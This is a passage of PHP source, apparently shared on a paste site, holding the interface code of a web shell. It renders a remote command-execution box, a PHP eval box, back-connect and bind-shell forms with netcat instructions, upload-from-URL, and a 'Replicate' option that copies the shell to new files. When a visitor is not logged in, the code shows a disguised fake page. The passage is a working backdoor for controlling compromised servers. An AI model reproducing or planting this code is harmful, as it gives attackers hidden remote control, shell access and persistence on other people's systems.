  993. $result = htmlentities($result);
  994. $result = "
  995. <p style=\"padding:0;margin:0;text-align:left;\"><a href=\"?dir=".$xCwd."&properties=".$file."\">".xfilesummary($file)."</a>".$msg."</p><div style=\"clear:both;margin:0;padding:0;\"></div>
  996. <form action=\"?dir=".$xCwd."&view=".$file."\" method=\"post\">
  997. <textarea name=\"filesource\" style=\"width:100%;height:200px;\">".$result."</textarea>
  998. <input type=\"text\" style=\"width:80%;\" name=\"saveAs\" value=\"".$file."\" />
  999. <input type=\"submit\" class=\"btn\" style=\"width:120px;\" name=\"save\" value=\"Save As\" />
  1000. </form>
  1001. ";
  1002. }
  1003. else{
  1004. $result = xdir($xCwd);
  1005. }
  1006. //################# Finalizing #######################======================================================]
  1007. if($auth){
  1008. if(isset($_GET['bportC'])) $bportC = $_GET['bportC'];
  1009. else $bportC = $shell_fav_port;
  1010. if(isset($_GET['lportC'])) $lportC = $_GET['lportC'];
  1011. else $lportC = $shell_fav_port;
  1012. $html_title = $shell_title." ".$xCwd;
  1013. $html_head = "
  1014. <title>".$html_title."</title>
  1015. <link rel=\"SHORTCUT ICON\" href=\"".$_SERVER['SCRIPT_NAME']."?img=icon\" />
  1016. ".$shell_style."
  1017. <script type=\"text/javascript\">
  1018. function updateInfo(boxid,typ){
  1019. if(typ == 0){
  1020. var pola = 'example: (using netcat) run &quot;nc -l -p __PORT__&quot; and then press Connect';
  1021. }
  1022. else{
  1023. var pola = 'example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." __PORT__&quot;';
  1024. }
  1025.  
  1026. var portnum = document.getElementById(boxid).value;
  1027.  
  1028. var hasil = pola.replace('__PORT__', portnum);
  1029. document.getElementById(boxid+'_').innerHTML = hasil;
  1030. }
  1031. function show(boxid){
  1032. var box = document.getElementById(boxid);
  1033. if(box.style.display != 'inline'){
  1034. document.getElementById('newfile').style.display = 'none';
  1035. document.getElementById('newfolder').style.display = 'none';
  1036. document.getElementById('newupload').style.display = 'none';
  1037. document.getElementById('newchild').style.display = 'none';
  1038. document.getElementById('newconnect').style.display = 'none';
  1039. document.getElementById('div_eval').style.display = 'none';
  1040.  
  1041. box.style.display = 'inline';
  1042. box.focus();
  1043. }
  1044. else box.style.display = 'none';
  1045. }
  1046. function highlighthexdump(address){
  1047. var target = document.getElementById(address);
  1048. target.style.background = '".$shell_color."';
  1049. }
  1050. function unhighlighthexdump(address){
  1051. var target = document.getElementById(address);
  1052. target.style.background = 'none';
  1053. }
  1054. </script>
  1055. ";
  1056. $html_body = "
  1057. <div id=\"wrapper\">
  1058. <h1 onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?';\"><a href=\"?\">".$shell_title."</a></h1>
  1059. <div class=\"box\">".$xHeader."
  1060. <div class=\"fpath\">
  1061. ".xdrive().xparsedir($xCwd)."
  1062. </div>
  1063. <div class=\"menu\">
  1064. <a href=\"javascript:show('newfile');\"><span class=\"gaul\">[ </span> New File<span class=\"gaul\"> ]</span></a>
  1065. <a href=\"javascript:show('newfolder');\"><span class=\"gaul\">[ </span>New Folder<span class=\"gaul\"> ]</span></a>
  1066. <a href=\"javascript:show('newchild');\"><span class=\"gaul\">[ </span>Replicate<span class=\"gaul\"> ]</span></a>
  1067. <a href=\"javascript:show('newupload');\"><span class=\"gaul\">[ </span>Upload<span class=\"gaul\"> ]</span></a>
  1068. <a href=\"javascript:show('newconnect');\"><span class=\"gaul\">[ </span>BindShell<span class=\"gaul\"> ]</span></a>
  1069. <a href=\"javascript:show('div_eval');\"><span class=\"gaul\">[ </span>PHP Eval<span class=\"gaul\"> ]</span></a>
  1070. </div>
  1071. <div class=\"hidden\" id=\"newconnect\">
  1072. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1073. <table class=\"tblBox\" style=\"width:100%;\">
  1074. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1075. <tr><td style=\"width:130px;\">BackConnect</td><td style=\"width:200px;\">
  1076. Port&nbsp;<input maxlength=\"5\" id=\"backC\" onkeyup=\"updateInfo('backC',0);\" style=\"width:60px;\" type=\"text\" name=\"bportC\" value=\"".$bportC."\" />
  1077. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnConnect\" value=\"Connect\" />
  1078. </td>
  1079. <td><span id=\"backC_\" class=\"msgcon\">example: (using netcat) run &quot;nc -l -p ".$bportC."&quot; and then press Connect</span></td>
  1080. </tr>
  1081. <tr><td>Listen</td><td>
  1082. Port&nbsp;<input maxlength=\"5\" id=\"listenC\" onkeyup=\"updateInfo('listenC',1);\" style=\"width:60px;\" type=\"text\" name=\"lportC\" value=\"".$lportC."\" />
  1083. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnListen\" value=\"Listen\" />
  1084. </td>
  1085. <td><span id=\"listenC_\" class=\"msgcon\">example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." ".$lportC."&quot;</span></td>
  1086. </tr>
  1087. </table>
  1088. </form>
  1089. </div>
  1090. <div class=\"hidden\" id=\"newfolder\">
  1091. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1092. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1093. <table class=\"tblBox\" style=\"width:560px;\">
  1094. <tr><td style=\"width:120px;\">New Foldername</td><td style=\"width:304px;\">
  1095. <input style=\"width:300px;\" type=\"text\" name=\"foldername\" value=\"newfolder\" />
  1096. </td><td>
  1097. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfolder\" value=\"Create\" />
  1098. </td></tr>
  1099. </table>
  1100. </form>
  1101. </div>
  1102. <div class=\"hidden\" id=\"newfile\">
  1103. <form action=\"?\" method=\"get\" style=\"display:inline;margin:0;padding:0;\">
  1104. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1105. <table class=\"tblBox\" style=\"width:560px;\">
  1106. <tr><td style=\"width:120px;\">New Filename</td><td style=\"width:304px;\">
  1107. <input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"newfile\" />
  1108. </td><td>
  1109. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfile\" value=\"Create\" />
  1110. </td></tr>
  1111. </form>
  1112. </table>
  1113. </div>
  1114. <div class=\"hidden\" id=\"newupload\">
  1115. <form method=\"post\" action=\"?dir=".$xCwd."\" enctype=\"multipart/form-data\" style=\"display:inline;margin:0;padding:0;\">
  1116. <table class=\"tblBox\" style=\"width:560px;\">
  1117. <tr><td style=\"width:120px;\">Save as</td><td><input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"\" /></td></tr>
  1118. <tr><td style=\"width:120px;\">From Url</td><td style=\"width:304px;\">
  1119. <input style=\"width:300px;\" type=\"text\" name=\"fileurl\" value=\"\" />
  1120. </td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadUrl\" value=\"Get\" /></td></tr>
  1121. <tr><td style=\"width:120px;\">From Computer</td><td style=\"width:304px;\">
  1122. <input style=\"width:300px;\" type=\"file\" name=\"filelocal\" />
  1123. </td><td>
  1124. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadLocal\" value=\"Get\" />
  1125. </td></tr>
  1126. </table>
  1127. </form>
  1128. </div>
  1129. <div class=\"hidden\" id=\"newchild\">
  1130. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1131. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1132. <table class=\"tblBox\" style=\"width:560px;\">
  1133. <tr><td style=\"width:120px;\">New Shellname</td><td style=\"width:304px;\">
  1134. <input style=\"width:300px;\" type=\"text\" name=\"childname\" value=\"".$shell_name.".php\"; />
  1135. </td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewchild\" value=\"Create\" />
  1136. </td></tr>
  1137. </table>
  1138. </form>
  1139. </div>
  1140. <div class=\"hidden\" id=\"div_eval\">
  1141. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1142. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1143. <table class=\"tblBox\" style=\"width:560px;\">
  1144. <tr><td>
  1145. <textarea name=\"eval\" style=\"width:100%;height:100px;\"></textarea>
  1146. </td></tr><tr>
  1147. <td style=\"text-align:right;\"><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnEval\" value=\"Eval\" /></td></tr>
  1148. </table>
  1149. </form>
  1150. </div>
  1151. <div class=\"bottomwrapper\">
  1152. <div class=\"cmdbox\">
  1153. <form action=\"?\" method=\"get\">
  1154. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1155. <table style=\"width:100%;\"><tr>
  1156. <td style=\"width:88%;\"><input type=\"text\" id=\"cmd\" name=\"cmd\" value=\"\" style=\"width:100%;\" /></td>
  1157. <td style=\"width:10%;\"><input type=\"submit\" class=\"btn\" name=\"btnCommand\" style=\"width:120px;\" value=\"Execute\" /></td></tr></table>
  1158. </form>
  1159. </div>
  1160. <div class=\"result\" id=\"result\">
  1161. ".$result."
  1162. </div></div></div></div>
  1163. ";
  1164. }
  1165. else {
  1166. $html_title = $shell_fake_name;
  1167. $html_head = "<title>".$html_title."</title>".$shell_style;
  1168. $html_body = "<div style=\"margin:30px;\">
  1169. <div>
  1170. <form action=\"?\" method=\"post\">
  1171. <input id=\"cmd\" type=\"text\" name=\"passw\" value=\"\" />
  1172. <input type=\"submit\" name=\"btnpasswd\" value=\"Ok\" />
  1173. </form>
  1174. </div>
  1175. <div style=\"font-size:10px;\">".$shell_fake_name."</div>
  1176. </div>
  1177. ";
  1178. }
  1179. if(isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload = "onload=\"document.getElementById('cmd').focus();\"";
  1180. else $html_onload = "";
  1181. $html_final = "<html>
  1182. <head>
  1183. ".$html_head."
  1184. </head>
  1185. <body ".$html_onload.">
  1186. <div id=\"mainwrapper\">
  1187. ".$html_body."
  1188. </div>
  1189. </body>
  1190. </html>";
  1191. echo preg_replace("/\s+/"," ",$html_final);
  1192. ?>
Advertisement
Add Comment
Please, Sign In to add comment